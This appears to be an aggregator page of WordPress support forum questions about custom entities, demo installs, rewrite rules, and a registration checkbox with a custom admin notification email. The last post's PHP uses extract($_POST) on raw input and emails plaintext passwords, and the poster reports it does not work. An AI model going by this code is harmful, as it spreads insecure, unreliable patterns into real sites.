If it matters, this functions.php is part of a child theme of the Parabola theme.

jayroyall on "Custom Entities and Fields"

$
0
0

Hi,

I'm very new to Wordpress so please excuse me if I seem ignorant towards the functionality of Worpress.

I would like to develop a custom plugin that allows administrators of the website to send push notifications for registered users (both individual user and groups of users) and I'm not sure of the best method to accomplish this. I've done this sort of thing within other CMSs but I'm unfamiliar with what Wordpress can offer with regards to adding custom entities and fields.

My understanding, and please correct me if I'm wrong, is that there are two options. Option 1 is to use Wordpress to create custom post types, and option two is to manually create tables in the Wordpress database and use those tables to store my custom data.

Is my understanding correct? If so then could someone give me a few pros and copns of each method. If I'm wrong then I'd appreciate someone pointing me in the right direction.

Thanks in advance for your time.

viktor89 on "Public Demo Admin"

$
0
0

hey everyone

So, I want to make a public demo install for possible clients to log in to and mess around with. Are there any good plugins for this? I was thinking something that resets it every hour or so, so people can change/add content and see how it works, but if somebody messes around with the install it'll be reset.

Also, for security reasons, I guess I should have some customized permissions. Just wanted to ask in here first and see if there were any good reads I should look into first?

thanks in advance

citstudio on "Adding Rewrite Rule"

$
0
0

hi there,

I Create

function add_query_vars($aVars) {
$aVars[] = "type";
return $aVars;
}

add_filter('query_vars', 'add_query_vars');

function add_rewrite_rules($aRules) {
$aNewRules = array('career/application-form/job-opportunities/([^/]+)/?$' => 'index.php?pagename=application-form&type=$matches[1]');
$aRules = $aNewRules + $aRules;
return $aRules;
}

add_filter('rewrite_rules_array', 'add_rewrite_rules');

But when I go to career/application-form/job-opportunities/
the page redirect to career/application-form/

on the page, I create :
if(isset($wp_query->query_vars['type'])) {
$sMsdsCat = urldecode($wp_query->query_vars['type']);

to display job-opportunities.

But it doesn't work.

Thank's

mike62 on "Adding a checkbox to the reg form, then customizing the admin notification email"

$
0
0

Site, for reference: https://www.hilarydruxman.com/my-account/

I have made a checkbox appear on the registration form that says "Send me more info about becoming a wholesaler." I have used the below code to achieve this (which I took from here):

//add newsletter and wholesale checkboxes to the registration form

add_filter( 'register_form', 'adding_custom_registration_fields' );
function adding_custom_registration_fields( ) {

	//lets make the field required so that i can show you how to validate it later;
	//echo '<div class="form-row form-row-wide"><label for="reg_firstname">'.__('First Name', 'woocommerce').' <span class="required">*</span></label><input type="text" class="input-text" name="firstname" id="reg_firstname" size="30" value="'.esc_attr($_POST['firstname']).'" /></div>';

	echo '';
	echo '<div class="form-row form-row-wide"><label for="reg_subscribe"><input type="checkbox" name="reg_subscribe" id="reg_subscribe" value="'.esc_attr($_POST['is_subscribed']).'" />Subscribe to the newsletter</label></div>';
	echo '<div class="form-row form-row-wide"><label for="reg_wholesaler"><input type="checkbox" name="reg_wholesaler" id="reg_wholesaler" value="'.esc_attr($_POST['is_wholesaler']).'" />Send me more info about becoming a wholesaler</label></div>';
}

//Updating user meta after registration successful registration
add_action('woocommerce_created_customer','adding_extra_reg_fields');

function adding_extra_reg_fields($user_id) {

	extract($_POST);
	//add new fields to the user profile
	add_user_meta($user_id, '_is_subscribed', $is_subscribed );
	add_user_meta($user_id, '_is_wholesaler', $is_wholesaler );

	update_user_meta($user_id, '_is_subscribed', $is_subscribed);
	update_user_meta($user_id, '_is_wholesaler', $is_wholesaler);

}

I'm not sure if I did the add_user_meta stuff right; I've never added new fields to the profile on registration before.

I need to get the admin notification email to include a note about the wholesaler checkbox. I'm trying to follow the instructions here. It says to make a plugin, so I've added the following code to a PHP file and uploaded it to my plugins directory, and activated it. But it doesn't seem to be working (I don't get a notification email at all):

<?php
	defined('ABSPATH') or die("No script kiddies please!");

	/**
 * Plugin Name: Customize the admin new user notification email
 * Plugin URI:
 * Description: Customize the admin new user notification email
 * Version: 1.0
 * Author: Mike Berg
 * Author URI:
 * License: GPL2
 */

// Redefine user notification function
// http://codex.wordpress.org/Function_Reference/wp_new_user_notification

if ( !function_exists('wp_new_user_notification') ) {

	function wp_new_user_notification( $user_id, $plaintext_pass = '' ) {

		$user = new WP_User( $user_id );

		$user_login = stripslashes( $user->user_login );
		$user_email = stripslashes( $user->user_email );
		$user_wholesaler = stripslashes( $user->_is_wholesaler );

		$message  = sprintf( __('New user registration on %s:'), get_option('blogname') ) . "\r\n\r\n";
		$message .= sprintf( __('Username: %s'), $user_login ) . "\r\n\r\n";
		$message .= sprintf( __('E-mail: %s'), $user_email ) . "\r\n";
		$message .= sprintf( __('Wholesale: %s'), $user_wholesaler ) . "\r\n";

		@wp_mail(
			get_option('admin_email'),
			sprintf(__('[%s] New User Registration'), get_option('blogname') ),
			$message
		);

		if ( empty( $plaintext_pass ) )
			return;

		$message  = __('Hi there,') . "\r\n\r\n";
		$message .= sprintf( __("Welcome to %s! Here's how to log in:"), get_option('blogname')) . "\r\n\r\n";
		$message .= wp_login_url() . "\r\n";
		$message .= sprintf( __('Username: %s'), $user_login ) . "\r\n";
		$message .= sprintf( __('Password: %s'), $plaintext_pass ) . "\r\n\r\n";
		$message .= sprintf( __('If you have any problems, please contact me at %s.'), get_option('admin_email') ) . "\r\n\r\n";
		$message .= __('Adios!');

		wp_mail(
			$user_email,
			sprintf( __('[%s] Your username and password'), get_option('blogname') ),
			$message
		);
	}
}
?>

What am I missing? Any help would be very much appreciated.

Viewing all 8245 articles
Browse latest View live




Latest Images